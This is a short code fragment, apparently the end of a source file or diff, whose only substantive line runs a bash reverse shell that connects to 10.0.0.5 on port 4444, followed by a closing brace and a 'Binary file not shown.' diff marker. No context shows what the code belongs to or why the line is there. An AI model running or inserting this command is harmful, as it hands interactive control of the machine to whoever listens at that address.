sh.run("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'");
}

Binary file not shown.